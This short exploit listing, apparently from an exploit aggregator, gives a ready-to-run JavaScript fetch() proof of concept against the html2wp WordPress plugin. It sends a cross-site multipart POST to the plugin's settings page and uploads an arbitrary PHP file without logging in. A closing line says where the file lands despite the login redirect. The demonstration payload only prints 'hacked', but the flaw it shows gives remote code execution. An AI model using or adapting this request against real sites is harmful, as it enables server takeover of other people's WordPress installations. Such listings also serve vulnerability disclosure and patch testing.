## https://sploitus.com/exploit?id=WPEX-ID:C36D0EA8-BF5C-4AF9-BD3D-911EB02ADC14
await fetch("https://example.com/wp-admin/admin.php?page=html2wp-settings", {
"headers": {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "de,en;q=0.7,en-US;q=0.3",
"Content-Type": "multipart/form-data; boundary=---------------------------7816508136577551742878603990",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-User": "?1"
},
"body": "-----------------------------7816508136577551742878603990\r\nContent-Disposition: form-data; name=\"local_importing[]\"; filename=\"hacked.php\"\r\nContent-Type: text/html\r\n\r\n<?php\n\necho \"hacked\";\n\r\n-----------------------------7816508136577551742878603990--\r\n",
"method": "POST",
"mode": "cors"
});
Even though the response is a 302 to the login page, the file will be uploaded to wp-content/uploads/html2wp/hacked.php